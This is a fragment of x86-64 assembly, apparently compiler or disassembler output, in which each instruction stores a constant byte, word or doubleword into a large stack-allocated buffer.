mov byte [rsp + 0x196], 0xdb
mov dword [rsp + 0x5d2c], 0xb3fb
mov dword [rsp + 0x5d30], 0x29932183
mov dword [rsp + 0x5d34], 0x707c
mov byte [rsp + 0x197], 0x63
mov dword [rsp + 0x5d38], 0x64050044
mov byte [rsp + 0x198], 0xa8
mov dword [rsp + 0x5d3c], 0x439ba00b
mov eax, 0x8a3
mov word [rsp + 0x14b8], ax
mov byte [rsp + 0x199], 0x49
mov eax, 0xab1
mov word [rsp + 0x14bc], ax
mov eax, 0x7ad
mov word [rsp + 0x14c0], ax
mov byte [rsp + 0x19a], 0x55
mov dword [rsp + 0x5d40], 0x2d162287
mov dword [rsp + 0x5d44], 0x7e0d31ce
mov eax, 0x50e
mov word [rsp + 0x14c4], ax
mov dword [rsp + 0x5d48], 0x4101f770
mov dword [rsp + 0x5d4c], 0x47a3
mov eax, 0x34b
mov word [rsp + 0x14c8], ax
mov byte [rsp + 0x19b], 0xc6
mov byte [rsp + 0x19c], 0x10
mov byte [rsp + 0x19d], 0x6d
mov byte [rsp + 0x19e], 0xae
mov byte [rsp + 0x19f], 0x47
mov dword [rsp + 0x5d50], 0x652b
mov byte [rsp + 0x1a0], 0x73
mov dword [rsp + 0x5d54], 0xecbc56e
mov eax, 0x1d0
mov word [rsp + 0x14cc], ax
mov dword [rsp + 0x5d58], 0xe363
mov eax, 0x1de
mov word [rsp + 0x14d0], ax
mov byte [rsp + 0x1a1], 0x3d
mov eax, 0xfe3
mov word [rsp + 0x14d4], ax
mov eax, 0x561
mov word [rsp + 0x14d8], ax
mov dword [rsp + 0x5d5c], 0x4ff6e8eb
mov dword [rsp + 0x5d60], 0x87bd
mov eax, 0x876
mov word [rsp + 0x14dc], ax
mov dword [rsp + 0x5d64], 0x44ad6fb2
mov dword [rsp + 0x5d68], 0x71c792b1
mov dword [rsp + 0x5d6c], 0x797e391d
mov dword [rsp + 0x5d70], 0x8a8d
mov dword [rsp + 0x5d74], 0x1586
mov byte [rsp + 0x1a2], 0xbb
mov dword [rsp + 0x5d78], 0x2dc2
mov eax, 0x691
mov word [rsp + 0x14e0], ax
mov eax, 0x47e
mov word [rsp + 0x14e4], ax
mov dword [rsp + 0x5d7c], 0x3615b72d
mov dword [rsp + 0x5d80], 0x2a7a
mov eax, 0x778
mov word [rsp + 0x14e8], ax
mov dword [rsp + 0x5d84], 0x490f89c7
mov dword [rsp + 0x5d88], 0x3380c702
mov dword [rsp + 0x5d8c], 0xdcda89e
mov dword [rsp + 0x5d90], 0x1b156859
mov eax, 0xea6
mov word [rsp + 0x14ec], ax
mov dword [rsp + 0x5d94], 0xe90b
mov dword [rsp + 0x5d98], 0x5f1d29c2
mov dword [rsp + 0x5d9c], 0x44536d9c
mov dword [rsp + 0x5da0], 0xe1b3
mov byte [rsp + 0x1a3], 0xa3
mov byte [rsp + 0x1a4], 0xee
mov eax, 0x7b7
mov word [rsp + 0x14f0], ax
mov byte [rsp + 0x1a5], 0x6a
mov dword [rsp + 0x5da4], 0x6317124f
mov eax, 0x640
mov word [rsp + 0x14f4], ax
mov dword [rsp + 0x5da8], 0x5dee362a
mov dword [rsp + 0x5dac], 0x9ddf
mov dword [rsp + 0x5db0], 0x3d1e5120
mov dword [rsp + 0x5db4], 0x7836d89
mov dword [rsp + 0x5db8], 0x4173055
mov dword [rsp + 0x5dbc], 0xb723
mov dword [rsp + 0x5dc0], 0xbdc6291
mov dword [rsp + 0x5dc4], 0x2e30b33d
mov dword [rsp + 0x5dc8], 0xa9a2
mov eax, 0x4db
mov word [rsp + 0x14f8], ax
mov dword [rsp + 0x5dcc], 0x6f381ab1
mov dword [rsp + 0x5dd0], 0x5f8e0ae1
mov dword [rsp + 0x5dd4], 0x345fe1c2
mov byte [rsp + 0x1a6], 0x81
mov eax, 0xfe4
mov word [rsp + 0x14fc], ax
mov eax, 0x95c
mov word [rsp + 0x1500], ax
mov byte [rsp + 0x1a7], 0x7e
mov dword [rsp + 0x5dd8], 0x32ea
mov dword [rsp + 0x5ddc], 0x23ada97c
mov eax, 0x26a
mov word [rsp + 0x1504], ax
mov byte [rsp + 0x1a8], 0
mov eax, 0x8a2
mov word [rsp + 0x1508], ax
mov byte [rsp + 0x1a9], 0x11
mov byte [rsp + 0x1aa], 0x31
mov byte [rsp + 0x1ab], 0x9c
mov dword [rsp + 0x5de0], 0x933d
mov dword [rsp + 0x5de4], 0x52b1a718
mov dword [rsp + 0x5de8], 0xb9a9
mov dword [rsp + 0x5dec], 0x7d3
mov dword [rsp + 0x5df0], 0xc355
mov dword [rsp + 0x5df4], 0xe161
mov eax, 0x253
mov word [rsp + 0x150c], ax
mov eax, 0xdf9
mov word [rsp + 0x1510], ax
mov dword [rsp + 0x5df8], 0x19232368
mov eax, 0x713
mov word [rsp + 0x1514], ax
mov eax, 0x1a6
mov word [rsp + 0x1518], ax
mov dword [rsp + 0x5dfc], 0x3057376f
mov byte [rsp + 0x1ac], 0xc
mov dword [rsp + 0x5e00], 0x1e430329
mov dword [rsp + 0x5e04], 0xf4e0ba7
mov dword [rsp + 0x5e08], 0x6e67da14
mov dword [rsp + 0x5e0c], 0xb6bf
mov dword [rsp + 0x5e10], 0x6fdde28b
mov byte [rsp + 0x1ad], 0xcb
mov dword [rsp + 0x5e14], 0xd7bf
mov dword [rsp + 0x5e18], 0x231e29d1
mov byte [rsp + 0x1ae], 0x32
mov dword [rsp + 0x5e1c], 0x9a2d
mov eax, 0xfd2
mov word [rsp + 0x151c], ax
mov byte [rsp + 0x1af], 0x34
mov dword [rsp + 0x5e20], 0x4dfdc443
mov dword [rsp + 0x5e24], 0x2134189e
mov byte [rsp + 0x1b0], 0x6e
mov dword [rsp + 0x5e28], 0x463348f4
mov eax, 0x76f
mov word [rsp + 0x1520], ax
mov dword [rsp + 0x5e2c], 0x677a
mov byte [rsp + 0x1b1], 0xf9
mov dword [rsp + 0x5e30], 0x44909ba5
mov dword [rsp + 0x5e34], 0x80e6986
mov eax, 0xe7e
mov word [rsp + 0x1524], ax
mov dword [rsp + 0x5e38], 0xfe71
mov dword [rsp + 0x5e3c], 0xc017
mov dword [rsp + 0x5e40], 0x24738ae1
mov dword [rsp + 0x5e44], 0x7f7065c6
mov eax, 0x5f1
mov word [rsp + 0x1528], ax
mov dword [rsp + 0x5e48], 0xdc6f
mov dword [rsp + 0x5e4c], 0x7eec248e
mov dword [rsp + 0x5e50], 0x290537ae
mov dword [rsp + 0x5e54], 0x56230ca0
mov eax, 0x660
mov word [rsp + 0x152c], ax
mov dword [rsp + 0x5e58], 0x5802
mov eax, 0x5fe
mov word [rsp + 0x1530], ax
mov eax, 0x7f8
mov word [rsp + 0x1534], ax
mov dword [rsp + 0x5e5c], 0xb23e
mov dword [rsp + 0x5e60], 0x3d0fc9a9
mov dword [rsp + 0x5e64], 0xedfa
mov byte [rsp + 0x1b2], 0xf8
mov byte [rsp + 0x1b3], 0x55
mov dword [rsp + 0x5e68], 0x5dc2fa3
mov dword [rsp + 0x5e6c], 0xa71d
mov eax, 0x7f5
mov word [rsp + 0x1538], ax
mov dword [rsp + 0x5e70], 0xf98d
mov dword [rsp + 0x5e74], 0x3b7bf2b1
mov byte [rsp + 0x1b4], 0x1f
mov byte [rsp + 0x1b5], 0xcb
mov byte [rsp + 0x1b6], 0xb
mov dword [rsp + 0x5e78], 0xc67
mov eax, 0x561
mov word [rsp + 0x153c], ax
mov dword [rsp + 0x5e7c], 0x23ae
mov byte [rsp + 0x1b7], 0x18
mov dword [rsp + 0x5e80], 0xe9fa
mov eax, 0x70
mov word [rsp + 0x1540], ax
mov byte [rsp + 0x1b8], 0x1d
mov eax, 0x27
mov word [rsp + 0x1544], ax
mov byte [rsp + 0x1b9], 0xfa
mov dword [rsp + 0x5e84], 0x2014aaaf
mov dword [rsp + 0x5e88], 0x1ee3947c
mov dword [rsp + 0x5e8c], 0x2710
mov dword [rsp + 0x5e90], 0x4260402c
mov byte [rsp + 0x1ba], 0x7e
mov byte [rsp + 0x1bb], 0x67
mov eax, 0x9cd
mov word [rsp + 0x1548], ax
mov eax, 0x51c
mov word [rsp + 0x154c], ax
mov eax, 0x3dc
mov word [rsp + 0x1550], ax
mov eax, 0x428
mov word [rsp + 0x1554], ax
mov eax, 0x516
mov word [rsp + 0x1558], ax
mov eax, 0x2a0
mov word [rsp + 0x155c], ax
mov dword [rsp + 0x5e94], 0xa85727c
mov dword [rsp + 0x5e98], 0xea7d
mov byte [rsp + 0x1bc], 0x8c
mov dword [rsp + 0x5e9c], 0x6683
mov eax, 0x64d
mov word [rsp + 0x1560], ax
mov dword [rsp + 0x5ea0], 0x332450a5
mov byte [rsp + 0x1bd], 0xb0
mov eax, 0x234
mov word [rsp + 0x1564], ax
mov dword [rsp + 0x5ea4], 0x9ad5
mov eax, 0xa0f
mov word [rsp + 0x1568], ax
mov dword [rsp + 0x5ea8], 0x1f68
mov dword [rsp + 0x5eac], 0x7c290cbb
mov eax, 0x6a0
mov word [rsp + 0x156c], ax
mov dword [rsp + 0x5eb0], 0x54b1
mov dword [rsp + 0x5eb4], 0x6e7bc792
mov dword [rsp + 0x5eb8], 0x51a75f4c
mov byte [rsp + 0x1be], 0x39
mov dword [rsp + 0x5ebc], 0x35c74f90
mov eax, 0x15f
mov word [rsp + 0x1570], ax
mov eax, 0xae4
mov word [rsp + 0x1574], ax
mov byte [rsp + 0x1bf], 0xa2
mov eax, 0x6ff
mov word [rsp + 0x1578], ax
mov dword [rsp + 0x5ec0], 0x5d27
mov dword [rsp + 0x5ec4], 0x2337c260
mov dword [rsp + 0x5ec8], 0x2c53
mov byte [rsp + 0x1c0], 0x52
mov eax, 0x77
mov word [rsp + 0x157c], ax
mov dword [rsp + 0x5ecc], 0x6081f7e0
mov byte [rsp + 0x1c1], 0x78
mov eax, 0x19c
mov word [rsp + 0x1580], ax
mov eax, 0xb68
mov word [rsp + 0x1584], ax
mov byte [rsp + 0x1c2], 0x7a
mov dword [rsp + 0x5ed0], 0x2a3c1487
mov dword [rsp + 0x5ed4], 0xe21a
mov dword [rsp + 0x5ed8], 0x706d8a1f
mov eax, 0xedb
mov word [rsp + 0x1588], ax
mov dword [rsp + 0x5edc], 0x5ee5c91d
mov eax, 0x5f0
mov word [rsp + 0x158c], ax
mov dword [rsp + 0x5ee0], 0x3e3187df
mov byte [rsp + 0x1c3], 0xa8
mov dword [rsp + 0x5ee4], 0x693a8b28
mov dword [rsp + 0x5ee8], 0x56c6bd74
mov dword [rsp + 0x5eec], 0x6f7e
mov byte [rsp + 0x1c4], 0x24
mov eax, 0x327
mov word [rsp + 0x1590], ax
mov byte [rsp + 0x1c5], 0xc4
mov eax, 0x79e
mov word [rsp + 0x1594], ax
mov dword [rsp + 0x5ef0], 0x8445
mov eax, 0x83f
mov word [rsp + 0x1598], ax
mov dword [rsp + 0x5ef4], 0xb68055e
mov dword [rsp + 0x5ef8], 0x6536
mov byte [rsp + 0x1c6], 0xe9
mov dword [rsp + 0x5efc], 0xbfe5
mov dword [rsp + 0x5f00], 0xb87d
mov dword [rsp + 0x5f04], 0x603d4dac
mov byte [rsp + 0x1c7], 0x3c
mov dword [rsp + 0x5f08], 0x5fcc1275
mov eax, 0x352
mov word [rsp + 0x159c], ax
mov dword [rsp + 0x5f0c], 0xc482
mov eax, 0xed7
mov word [rsp + 0x15a0], ax
mov dword [rsp + 0x5f10], 0x76d1
mov dword [rsp + 0x5f14], 0x3b434d85
mov eax, 0x575
mov word [rsp + 0x15a4], ax
mov dword [rsp + 0x5f18], 0x858a470
mov dword [rsp + 0x5f1c], 0x5b8c40b1
mov eax, 0x242
mov word [rsp + 0x15a8], ax
mov eax, 0x74e
mov word [rsp + 0x15ac], ax
mov byte [rsp + 0x1c8], 0x79
mov byte [rsp + 0x1c9], 0xb2
mov eax, 0x249
mov word [rsp + 0x15b0], ax
mov byte [rsp + 0x1ca], 0x91
mov dword [rsp + 0x5f20], 0x4ed0a344
mov dword [rsp + 0x5f24], 0x44b004ed
mov dword [rsp + 0x5f28], 0x617b02d1
mov byte [rsp + 0x1cb], 0x6b
mov dword [rsp + 0x5f2c], 0xd3c1
mov eax, 0x33e
mov word [rsp + 0x15b4], ax
mov dword [rsp + 0x5f30], 0x21001181
mov byte [rsp + 0x1cc], 0x50
mov dword [rsp + 0x5f34], 0x3010
mov byte [rsp + 0x1cd], 0xeb
mov dword [rsp + 0x5f38], 0x389
mov eax, 0x5e5
mov word [rsp + 0x15b8], ax
mov byte [rsp + 0x1ce], 0x4b
mov byte [rsp + 0x1cf], 0xa7
mov dword [rsp + 0x5f3c], 0x218bc38e
mov dword [rsp + 0x5f40], 0x63f4
mov eax, 0x2f0
mov word [rsp + 0x15bc], ax
mov dword [rsp + 0x5f44], 0xa978
mov byte [rsp + 0x1d0], 0xec
mov byte [rsp + 0x1d1], 0xad
mov byte [rsp + 0x1d2], 0x1b
mov eax, 0x5a4
mov word [rsp + 0x15c0], ax
mov byte [rsp + 0x1d3], 0x15
mov dword [rsp + 0x5f48], 0x69393585
mov dword [rsp + 0x5f4c], 0x749b6355
mov dword [rsp + 0x5f50], 0x7f006020
mov eax, 0x7b1
mov word [rsp + 0x15c4], ax
mov dword [rsp + 0x5f54], 0x16e3239c
mov eax, 0xd2d
mov word [rsp + 0x15c8], ax
mov dword [rsp + 0x5f58], 0x4f1d
mov dword [rsp + 0x5f5c], 0x7eca7538
mov byte [rsp + 0x1d4], 0x27
mov dword [rsp + 0x5f60], 0xe240f24
mov dword [rsp + 0x5f64], 0x2a49a57b
mov dword [rsp + 0x5f68], 0x4fb882cc
mov eax, 0x5c2
mov word [rsp + 0x15cc], ax
mov eax, 0x7a2
mov word [rsp + 0x15d0], ax
mov eax, 0xe46
mov word [rsp + 0x15d4], ax
mov eax, 0x343
mov word [rsp + 0x15d8], ax
mov dword [rsp + 0x5f6c], 0x80ed
mov dword [rsp + 0x5f70], 0x2f5d852
mov dword [rsp + 0x5f74], 0x11f02e56
mov byte [rsp + 0x1d5], 0x67
mov eax, 0x27
mov word [rsp + 0x15dc], ax
mov dword [rsp + 0x5f78], 0x288d
mov byte [rsp + 0x1d6], 0x23
mov dword [rsp + 0x5f7c], 0x9341
mov byte [rsp + 0x1d7], 0xd7
mov dword [rsp + 0x5f80], 0x2002
mov eax, 0x882
mov word [rsp + 0x15e0], ax
mov dword [rsp + 0x5f84], 0x6dc8
mov dword [rsp + 0x5f88], 0x4c8eab7b
mov dword [rsp + 0x5f8c], 0x55e67b65
mov dword [rsp + 0x5f90], 0x5ac18e80
mov dword [rsp + 0x5f94], 0x1581c9c3
mov byte [rsp + 0x1d8], 0x11
mov byte [rsp + 0x1d9], 0x2a
mov dword [rsp + 0x5f98], 0x7c2e2959
mov byte [rsp + 0x1da], 0xde
mov dword [rsp + 0x5f9c], 0x35c70133
mov dword [rsp + 0x5fa0], 0x2401d3de
mov dword [rsp + 0x5fa4], 0x7ed0
mov byte [rsp + 0x1db], 0x44
mov eax, 0x21b
mov word [rsp + 0x15e4], ax
mov dword [rsp + 0x5fa8], 0x2fe1b326
mov byte [rsp + 0x1dc], 0x63
mov dword [rsp + 0x5fac], 0x4df85055
mov eax, 0xf2f
mov word [rsp + 0x15e8], ax
mov eax, 0x5bd
mov word [rsp + 0x15ec], ax
mov byte [rsp + 0x1dd], 0x26
mov dword [rsp + 0x5fb0], 0x4186b70c
mov eax, 0xac7
mov word [rsp + 0x15f0], ax
mov dword [rsp + 0x5fb4], 0x8440
mov dword [rsp + 0x5fb8], 0x9487
mov eax, 0xdca
mov word [rsp + 0x15f4], ax
mov eax, 0xa86
mov word [rsp + 0x15f8], ax
mov dword [rsp + 0x5fbc], 0xe2fb
mov eax, 0x213
mov word [rsp + 0x15fc], ax
mov dword [rsp + 0x5fc0], 0x4c50de85
mov eax, 0x655
mov word [rsp + 0x1600], ax
mov eax, 0x4f7
mov word [rsp + 0x1604], ax
mov dword [rsp + 0x5fc4], 0x2e09
mov dword [rsp + 0x5fc8], 0x2a39bf88
mov eax, 0x205
mov word [rsp + 0x1608], ax
mov byte [rsp + 0x1de], 1
mov eax, 0x188
mov word [rsp + 0x160c], ax
mov byte [rsp + 0x1df], 0x77
mov dword [rsp + 0x5fcc], 0x6141533a
mov dword [rsp + 0x5fd0], 0xa4fa
mov dword [rsp + 0x5fd4], 0x4b4e4709
mov byte [rsp + 0x1e0], 0xcc
mov dword [rsp + 0x5fd8], 0x1a6ab54b
mov byte [rsp + 0x1e1], 0x5e
mov dword [rsp + 0x5fdc], 0xa4a6
mov dword [rsp + 0x5fe0], 0x6a40296f
mov dword [rsp + 0x5fe4], 0x22080c7
mov dword [rsp + 0x5fe8], 0x87f6
mov byte [rsp + 0x1e2], 0x6c
mov dword [rsp + 0x5fec], 0x237489ac
mov dword [rsp + 0x5ff0], 0xb47c1df
mov eax, 0xbbb
mov word [rsp + 0x1610], ax
mov byte [rsp + 0x1e3], 0xb7
mov dword [rsp + 0x5ff4], 0x69dd
mov eax, 0xf52
mov word [rsp + 0x1614], ax
mov dword [rsp + 0x5ff8], 0x2d58f2a1
mov eax, 0x12
mov word [rsp + 0x1618], ax
mov dword [rsp + 0x5ffc], 0x4f36350
mov dword [rsp + 0x6000], 0x7d5f1d19
mov dword [rsp + 0x6004], 0xc5f0
mov dword [rsp + 0x6008], 0xd521
mov dword [rsp + 0x600c], 0x2310b668
mov dword [rsp + 0x6010], 0x799e1450
mov dword [rsp + 0x6014], 0x3bc9a11c
mov eax, 0xfba
mov word [rsp + 0x161c], ax
mov eax, 0xa36
mov word [rsp + 0x1620], ax
mov eax, 0x28a
mov word [rsp + 0x1624], ax
mov dword [rsp + 0x6018], 0x3a7dec78
mov dword [rsp + 0x601c], 0x45635cc7
mov dword [rsp + 0x6020], 0x6db9b70c
mov dword [rsp + 0x6024], 0x315e
mov eax, 0x20a
mov word [rsp + 0x1628], ax
mov dword [rsp + 0x6028], 0x6d2a
mov dword [rsp + 0x602c], 0x42857e77
mov eax, 0xeb5
mov word [rsp + 0x162c], ax
mov dword [rsp + 0x6030], 0x31645f2d
mov dword [rsp + 0x6034], 0x37b82b85
mov dword [rsp + 0x6038], 0x7a67a638
mov dword [rsp + 0x603c], 0x7831f65d
mov dword [rsp + 0x6040], 0x1b83
mov byte [rsp + 0x1e4], 0xca
mov dword [rsp + 0x6044], 0x7112bd0d
mov eax, 0xe04
mov word [rsp + 0x1630], ax
mov dword [rsp + 0x6048], 0x1b59
mov dword [rsp + 0x604c], 0x7a3f2899
mov dword [rsp + 0x6050], 0x311b7d8
mov byte [rsp + 0x1e5], 0x51
mov dword [rsp + 0x6054], 0x7c3cf44b
mov eax, 0x3b6
mov word [rsp + 0x1634], ax
mov eax, 0xbb7
mov word [rsp + 0x1638], ax
mov dword [rsp + 0x6058], 0x58d3
mov dword [rsp + 0x605c], 0x564145cf
mov byte [rsp + 0x1e6], 0x7b
mov dword [rsp + 0x6060], 0x50ae7490
mov eax, 0x179
mov word [rsp + 0x163c], ax
mov dword [rsp + 0x6064], 0xc94831d
mov byte [rsp + 0x1e7], 3
mov eax, 0x6ca
mov word [rsp + 0x1640], ax
mov dword [rsp + 0x6068], 0xf8fc
mov byte [rsp + 0x1e8], 0x2b
mov byte [rsp + 0x1e9], 0x67
mov byte [rsp + 0x1ea], 0x7b
mov dword [rsp + 0x606c], 0x2a3e
mov dword [rsp + 0x6070], 0xe5a05d0
mov dword [rsp + 0x6074], 0xe1a2
mov eax, 0x5b7
mov word [rsp + 0x1644], ax
mov dword [rsp + 0x6078], 0xfb8da72
mov dword [rsp + 0x607c], 0x68e1
mov dword [rsp + 0x6080], 0xe3d
mov dword [rsp + 0x6084], 0x37865d06
mov byte [rsp + 0x1eb], 0x6f
mov dword [rsp + 0x6088], 0xe7f
mov dword [rsp + 0x608c], 0x17b3
mov dword [rsp + 0x6090], 0x3dee
mov dword [rsp + 0x6094], 0x10e94a5a
mov eax, 0x25c
mov word [rsp + 0x1648], ax
mov byte [rsp + 0x1ec], 0x1b
mov dword [rsp + 0x6098], 0x618bb221
mov byte [rsp + 0x1ed], 0x3c
mov dword [rsp + 0x609c], 0x3446f803
mov dword [rsp + 0x60a0], 0x78c52d48
mov dword [rsp + 0x60a4], 0x18c3d582
mov eax, 0x5bc
mov word [rsp + 0x164c], ax
mov byte [rsp + 0x1ee], 0x28
mov dword [rsp + 0x60a8], 0x9c4c
mov eax, 0xe97
mov word [rsp + 0x1650], ax
mov dword [rsp + 0x60ac], 0x20c0
mov dword [rsp + 0x60b0], 0x182a69ac
mov dword [rsp + 0x60b4], 0x1921da5c
mov dword [rsp + 0x60b8], 0x42d6e04b
mov byte [rsp + 0x1ef], 0x24
mov byte [rsp + 0x1f0], 0x2d
mov dword [rsp + 0x60bc], 0x275d
mov byte [rsp + 0x1f1], 0x89
mov byte [rsp + 0x1f2], 0x22
mov dword [rsp + 0x60c0], 0x2b8f4451
mov dword [rsp + 0x60c4], 0x9fda
mov dword [rsp + 0x60c8], 0x2d7be235
mov dword [rsp + 0x60cc], 0xb1c5
mov eax, 0x498
mov word [rsp + 0x1654], ax
mov dword [rsp + 0x60d0], 0x78c9d0b5
mov byte [rsp + 0x1f3], 0x32
mov byte [rsp + 0x1f4], 0x48
mov dword [rsp + 0x60d4], 0x85a7
mov eax, 0x76f
mov word [rsp + 0x1658], ax
mov dword [rsp + 0x60d8], 0x1a7b79c6
mov dword [rsp + 0x60dc], 0x12b8c717
mov dword [rsp + 0x60e0], 0x9b0d
mov dword [rsp + 0x60e4], 0x9750
mov byte [rsp + 0x1f5], 0xb6
mov dword [rsp + 0x60e8], 0x5760cb21
mov byte [rsp + 0x1f6], 0x79
mov dword [rsp + 0x60ec], 0x4dfe40b9
mov eax, 0xfec
mov word [rsp + 0x165c], ax
mov dword [rsp + 0x60f0], 0x339c074e
mov dword [rsp + 0x60f4], 0x26fa2787
mov eax, 0x379
mov word [rsp + 0x1660], ax
mov eax, 0xddb
mov word [rsp + 0x1664], ax
mov byte [rsp + 0x1f7], 0xe4
mov eax, 0x43f
mov word [rsp + 0x1668], ax
mov eax, 0x7de
mov word [rsp + 0x166c], ax
mov dword [rsp + 0x60f8], 0x1c2f
mov dword [rsp + 0x60fc], 0x47de5744
mov eax, 0x375
mov word [rsp + 0x1670], ax
mov dword [rsp + 0x6100], 0x43b9
mov dword [rsp + 0x6104], 0xb602
mov eax, 0x140
mov word [rsp + 0x1674], ax
mov byte [rsp + 0x1f8], 0xd4
mov dword [rsp + 0x6108], 0x51eefd01
mov dword [rsp + 0x610c], 0x6583
mov eax, 0xa25
mov word [rsp + 0x1678], ax
mov eax, 0x1a0
mov word [rsp + 0x167c], ax
mov dword [rsp + 0x6110], 0xdb65
mov dword [rsp + 0x6114], 0x49ec5a57
mov byte [rsp + 0x1f9], 0xd0
mov eax, 0x2eb
mov word [rsp + 0x1680], ax
mov dword [rsp + 0x6118], 0x30f1646e
mov dword [rsp + 0x611c], 0xd894
mov eax, 0x4a4
mov word [rsp + 0x1684], ax
mov dword [rsp + 0x6120], 0xeb5a187
mov dword [rsp + 0x6124], 0xda0
mov byte [rsp + 0x1fa], 0xc5
mov byte [rsp + 0x1fb], 0x3b
mov byte [rsp + 0x1fc], 0x7b
mov eax, 0x290
mov word [rsp + 0x1688], ax
mov dword [rsp + 0x6128], 0x6834eec2
mov dword [rsp + 0x612c], 0x955b85
mov byte [rsp + 0x1fd], 0x5e
mov dword [rsp + 0x6130], 0x1a81a8fe
mov dword [rsp + 0x6134], 0x5847
mov dword [rsp + 0x6138], 0x7513
mov dword [rsp + 0x613c], 0x79d639e0
mov byte [rsp + 0x1fe], 0x5b
mov dword [rsp + 0x6140], 0x9026c40
mov dword [rsp + 0x6144], 0x1c14
mov dword [rsp + 0x6148], 0xda74bdd
mov byte [rsp + 0x1ff], 0xe8
mov dword [rsp + 0x614c], 0x6093b43f
mov dword [rsp + 0x6150], 0x9408
mov dword [rsp + 0x6154], 0x4b4f9274
mov dword [rsp + 0x6158], 0x69135276
mov eax, 0x709
mov word [rsp + 0x168c], ax
mov byte [rsp + 0x200], 0xd1
mov dword [rsp + 0x615c], 0x7bea
mov byte [rsp + 0x201], 0xe1
mov eax, 0x272
mov word [rsp + 0x1690], ax
mov byte [rsp + 0x202], 0x1a
mov byte [rsp + 0x203], 0x1d
mov eax, 0x918
mov word [rsp + 0x1694], ax
mov byte [rsp + 0x204], 0xf8
mov dword [rsp + 0x6160], 0x6c495d0
mov eax, 0xb15
mov word [rsp + 0x1698], ax
mov dword [rsp + 0x6164], 0x2bb41267
mov eax, 0x4c9
mov word [rsp + 0x169c], ax
mov eax, 0xb9d
mov word [rsp + 0x16a0], ax
mov eax, 0xaf2
mov word [rsp + 0x16a4], ax
mov eax, 0xa58
mov word [rsp + 0x16a8], ax
mov eax, 0x5a3
mov word [rsp + 0x16ac], ax
mov byte [rsp + 0x205], 0x9d
mov dword [rsp + 0x6168], 0x1c31c374
mov byte [rsp + 0x206], 0x9b
mov dword [rsp + 0x616c], 0x1c15c3e
mov dword [rsp + 0x6170], 0x2e022763
mov eax, 0xd05
mov word [rsp + 0x16b0], ax
mov dword [rsp + 0x6174], 0x5cfcad58
mov dword [rsp + 0x6178], 0x6e2d
mov byte [rsp + 0x207], 0xf2
mov dword [rsp + 0x617c], 0xbf99
mov eax, 0x325
mov word [rsp + 0x16b4], ax
mov dword [rsp + 0x6180], 0x4b62
mov dword [rsp + 0x6184], 0x497aa84f
mov dword [rsp + 0x6188], 0x766cd68
mov byte [rsp + 0x208], 0x1f
mov eax, 0xde5
mov word [rsp + 0x16b8], ax
mov dword [rsp + 0x618c], 0x45e1ffe
mov dword [rsp + 0x6190], 0x359c4ef6
mov dword [rsp + 0x6194], 0x4cdbd81b
mov dword [rsp + 0x6198], 0xc3
mov dword [rsp + 0x619c], 0x9ce2
mov dword [rsp + 0x61a0], 0x471a5f42
mov dword [rsp + 0x61a4], 0xf897
mov dword [rsp + 0x61a8], 0x737619c3
mov dword [rsp + 0x61ac], 0x7374
mov byte [rsp + 0x209], 0x1a
mov byte [rsp + 0x20a], 0x1b
mov byte [rsp + 0x20b], 0xaa
mov dword [rsp + 0x61b0], 0x8751b72
mov dword [rsp + 0x61b4], 0x419f
mov eax, 0x84
mov word [rsp + 0x16bc], ax
mov dword [rsp + 0x61b8], 0x34a682d2
mov dword [rsp + 0x61bc], 0x18aab3ed
mov eax, 0x508
mov word [rsp + 0x16c0], ax
mov dword [rsp + 0x61c0], 0xfe30
mov byte [rsp + 0x20c], 0xb2
mov dword [rsp + 0x61c4], 0x6cfe9fa1
mov dword [rsp + 0x61c8], 0x21a761b7
mov byte [rsp + 0x20d], 0x19
mov dword [rsp + 0x61cc], 0x22dbf5ed
mov byte [rsp + 0x20e], 0xce
mov byte [rsp + 0x20f], 0xfb
mov dword [rsp + 0x61d0], 0xdaf5
mov dword [rsp + 0x61d4], 0xb43e
mov dword [rsp + 0x61d8], 0x1954
mov eax, 0xad
mov word [rsp + 0x16c4], ax
mov dword [rsp + 0x61dc], 0x72e5
mov dword [rsp + 0x61e0], 0xa6a6
mov dword [rsp + 0x61e4], 0x5ea5
mov eax, 0x400
mov word [rsp + 0x16c8], ax
mov eax, 0x6b6
mov word [rsp + 0x16cc], ax
mov dword [rsp + 0x61e8], 0x7b85080b
mov dword [rsp + 0x61ec], 0x8388
mov dword [rsp + 0x61f0], 0x1a52c092
mov dword [rsp + 0x61f4], 0x69cc9ef5
mov dword [rsp + 0x61f8], 0x353eae6b
mov dword [rsp + 0x61fc], 0x870981a
mov eax, 0x77a
mov word [rsp + 0x16d0], ax
mov dword [rsp + 0x6200], 0x4bde4539
mov dword [rsp + 0x6204], 0x3e93
mov eax, 0xe29
mov word [rsp + 0x16d4], ax
mov eax, 0xc3d
mov word [rsp + 0x16d8], ax
mov dword [rsp + 0x6208], 0x6b9dc5b2
mov byte [rsp + 0x210], 0x7c
mov byte [rsp + 0x211], 0x23
mov eax, 0x34f
mov word [rsp + 0x16dc], ax
mov dword [rsp + 0x620c], 0x1406b6bc
mov dword [rsp + 0x6210], 0x5a4f308e
mov byte [rsp + 0x212], 0x47
mov eax, 0x321
mov word [rsp + 0x16e0], ax
mov dword [rsp + 0x6214], 0x8a656bf
mov byte [rsp + 0x213], 0x41
mov dword [rsp + 0x6218], 0x40833979
mov eax, 0x34
mov word [rsp + 0x16e4], ax
mov dword [rsp + 0x621c], 0x652d58a4
mov byte [rsp + 0x214], 0x59
mov dword [rsp + 0x6220], 0xf546
mov dword [rsp + 0x6224], 0x8bed
mov dword [rsp + 0x6228], 0x78c29f4
mov eax, 0xb01
mov word [rsp + 0x16e8], ax
mov eax, 0xd
mov word [rsp + 0x16ec], ax
mov dword [rsp + 0x622c], 0x6209c102
mov byte [rsp + 0x215], 0x18
mov byte [rsp + 0x216], 0x1b
mov eax, 0x9d2
mov word [rsp + 0x16f0], ax
mov dword [rsp + 0x6230], 0x29dc60d9
mov dword [rsp + 0x6234], 0xf5d8
mov eax, 0xff4
mov word [rsp + 0x16f4], ax
mov dword [rsp + 0x6238], 0x23ea0e52
mov dword [rsp + 0x623c], 0x4f40fa39
mov dword [rsp + 0x6240], 0x493871d3
mov dword [rsp + 0x6244], 0xd89d
mov eax, 0x264
mov word [rsp + 0x16f8], ax
mov dword [rsp + 0x6248], 0xcf35
mov dword [rsp + 0x624c], 0x57b1be17
mov byte [rsp + 0x217], 6
mov dword [rsp + 0x6250], 0x6d9e463e
mov dword [rsp + 0x6254], 0x4ce8
mov eax, 0xe8e
mov word [rsp + 0x16fc], ax
mov dword [rsp + 0x6258], 0x2b062aab
mov eax, 0xdf6
mov word [rsp + 0x1700], ax
mov byte [rsp + 0x218], 0x46
